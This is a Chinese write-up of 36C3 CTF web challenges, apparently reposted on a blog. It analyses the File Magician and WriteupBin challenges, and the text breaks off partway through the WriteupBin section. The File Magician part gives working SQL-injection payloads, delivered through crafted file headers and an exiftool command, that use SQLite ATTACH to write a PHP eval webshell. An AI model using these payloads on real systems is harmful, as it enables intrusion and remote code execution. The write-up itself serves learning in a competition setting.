36c3 Web 学习记录

2020-01-13 约 604 字 预计阅读 3 分钟

声明:本文 【36c3 Web 学习记录】 由作者 Zedd 于 2020-01-13 09:59:00 首发 先知社区 曾经 浏览数 203 次

感谢 Zedd 的辛苦付出!

签到选手不请自来,经过了好几天的琢磨,终于把这次比赛的题目都弄得差不多了,这里记录一下本次比赛 Web 题目的解法,如果师傅们有更好更有意思的解法,欢迎多多与菜鸡交流。非常感谢 @rebirth @wonderkun @wupco 等师傅在我学习本次比赛赛题时候不厌其烦地指导我。

File Magician

Difficulty estimate: easy

Solved:133/321

Points: round(1000 · min(1, 10 / (9 + [133 solves]))) = 70 points

Description:

Finally (again), a minimalistic, open-source file hosting solution.

Download:

file magician-3ace41f3b0282a70.tar.xz (2.1 KiB)

算是 Web 当中的一个签到题,直接给出 Docker 文件源代码,我们可以在本地搭起来试试。

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
session_start();

if( ! isset($_SESSION['id'])) {
    $_SESSION['id'] = bin2hex(random_bytes(32));
}

$d = '/var/www/html/files/'.$_SESSION['id'] . '/';
@mkdir($d, 0700, TRUE);
chdir($d) || die('chdir');

$db = new PDO('sqlite:' . $d . 'db.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec('CREATE TABLE IF NOT EXISTS upload(id INTEGER PRIMARY KEY, info TEXT);');

if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
    $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
    $db->exec($s);
    move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
}

$uploads = [];
$sql = 'SELECT * FROM upload';
foreach ($db->query($sql) as $row) {
    $uploads[] = [$row['id'], $row['info']];
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>file magician</title>
</head>
<form enctype="multipart/form-data" method="post">
    <input type="file" name="file">
    <input type="submit" value="upload">
</form>
<table>
    <?php foreach($uploads as $upload):?>
        <tr>
            <td><a href="<?= '/files/' . $_SESSION['id'] . '/' . $upload[0] ?>"><?= $upload[0] ?></a></td>
            <td><?= $upload[1] ?></td>
        </tr>
    <?php endforeach?>
</table>

题目功能点就是一个简单的文件上传,然后在自己的 sandbox 当中看到自己的文件类型,文件类型是由(new finfo)->file来判断的,还使用了 sqlite 进行存储文件上传的记录。

由于创建的数据库规定了 id 为自增长的整型主键,而且它使用了lastInsertId()返回最后一次 insert 数据的 id 作为文件名

move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');

所以我们基本上可以不用考虑是否存在通过可控文件名上传文件 Getshell 的操作了。

纵观整个文件,其实我们可以发现,我们可控制的输入点也只有在文件类型当中,文件类型又被拼入到了 sql 语句当中

$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";

所以比较明显,我们只能通过这个来进行 sql 注入来进行一些操作了。

我的思路就是 fuzz 一些特殊的文件,可能存在某些文件使用finfo得出来的结果含有单引号什么的,并且我们还能够插入可控数据,于是我就开始 fuzz 文件头,从0x000xff0xff

终于在0x1f0x9d得到一个文件类型是compress'd data,虽然有单引号,但是不存在我们可控的数据。

还有一个是0xfb0x01得到一个文件类型是QDOS object '',看起来很对的样子,有两个单引号,并且我们貌似可以在单引号之间插入数据,我们可以随便测试一下

发现这里被吃掉了一个p,于是我们调整一下 payload 就可以用来注入了。

sqlite 是可以用 .php 文件名来作为存储格式文件的,而且当前目录可写,于是我们就可以通过 sqlite attach 一个 z.php 的方法来写 shell 了。

ATTACH DATABASE 'z.php' AS t;create TABLE t.e (d text);/*
ATTACH DATABASE 'z.php' AS t;insert INTO t.e (d) VALUES ('<?php eval($_POST[a])?>');/*

这里可能需要注意的就是有长度限制,所以我们需要分两次来写 shell

other file

看其他选手的公开的 wp 也是很有趣的一件事,然后从 ctftime 上公开的 wp,我们可以发现还存在着这么一些文件可以用来注入。

TeX DVI file

0xf702 文件头,在填充一定数据后有我们完全可控的数据

jpeg

在 jpeg 的 EXIF 数据段中有用来标识 software 的数据也是我们可控的地方,同样用来标识 comment 的地方我们也可控。于是我们可以使用 exiftool 来修改图片。

exiftool -overwrite_original -comment="payload" -software="payload2" 1.jpg

#!

我们还可以利用#!/的文件来构造 payload

gz

利用gunzip生成的 gz 文件,我们也可以用来注入,我们可控的数据是它的文件名

当然我们也可以直接修改 gz 文件内容

WriteUpBin

Difficulty estimate: medium

Solved:13/321

Points: round(1000 · min(1, 10 / (9 + [13 solves]))) = 455 points

Description:

Finally (again), a minimalistic, open-source social writeup hosting solution.

Download:

WriteupBin-10b65573b511269f.tar.xz

一道比较有意思的侧信道题目,我们可以通过所给附件搭建形式知道,flag 存放在数据库当中,并且是在 admin 用户的第一条 writeup 数据的内容当中,题目提供简单的上传文本的功能,并且可以提交给 admin ,让 admin 给你点赞。

项目结构如下:

.
├── Dockerfile                          //Docker文件
├── admin.py                                //使用selenium模拟admin登录并点赞
├── db.sql                                  //数据库文件
├── docker-stuff
│   ├── default                         //配置文件
│   └── www.conf                        //配置文件
├── www
│   ├── general.php                 //连接数据库设置header头等一些初始化操作
│   ├── html
│   │   ├── add.php                 //添加writeup相关操作
│   │   ├── admin.php               //把writeup提交给admin
│   │   ├── index.php               //入口文件
│   │   ├── like.php                //点赞操作
│   │   ├── login_admin.php //admin登陆操作
│   │   └── show.php                //获取writeup内容
│   └── views
│       ├── header.php          //在页面上方展示目前id提交的writeup
│       ├── home.php                //页面中部用来提供给用户输入的界面
│       └── show.php                //点赞、提交给admin的展示页面
└── ynetd                                       //用来启动 admin.py

既然 flag 在数据库当中,那我们可以首先来看看 show.php ,因为这个文件可以直接用来获取 writeup 的内容。

<?php
include_once '../general.php';

$stmt = $db->prepare('SELECT id, content FROM `writeup` WHERE `id` = ?');
$stmt->bind_param('s', $_GET['id']);
$stmt->execute();
$writeup = mysqli_fetch_all($stmt->get_result(), MYSQLI_ASSOC)[0];


$stmt = $db->prepare('SELECT user_id FROM `like` WHERE `writeup_id` = ?');
$stmt->bind_param('s', $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
$likes = mysqli_fetch_all($result, MYSQLI_ASSOC);

include('../views/header.php');
include('../views/show.php');

我们可以看到 id 并没有什么鉴权措施,也就是说,我们可以通过 writeup id 来获取 writeup 内容,而 flag writeup id 在 admin 用户数据当中,而在 header.php 中可以看到当前用户所有的 writeup id

<?php foreach($writeups as $w): ?>
  <li><a href="/show.php?id=<?= $w['id'] ?>">Writeup - <?= $w['id'] ?></a></li>
<?php endforeach; ?>

既然有提交代码给 admin 的功能,那么是不是有可能是一个 xss 或者什么的?

我们还可以看到 admin 再收到 writeup 后的主要操作:

display = Display(visible=0, size=(800, 600))
display.start()
chrome_options = Options()
chrome_options.add_argument('--disable-gpu')
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
driver = webdriver.Chrome('/usr/bin/chromedriver', options=chrome_options)

url = 'http://admin:__ADMIN_TOKEN__@127.0.0.1/login_admin.php?id='+writeup_id
driver.get(url)
element = driver.find_element_by_xpath('//input[@id="like"]')
element.click()

driver.quit()
display.stop()

我们可以看到 admin 在进行登录之后使用find_element_by_xpath找到了 id 为 like 的 input 标签,并进行了点击,也就是提交给 admin 的 writeup 后,admin 会浏览进行点击,发送一个点赞请求

```html

<form action="/like.php" method="post">
<input name="c" type="hidden" value="&lt;?= $_SESSION['c'] ?&gt;">
<input name="id" type="hidden" value="&lt;?= $writeup['id'] ?&gt;">
<input id="like" type="submit" value="

</form>

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now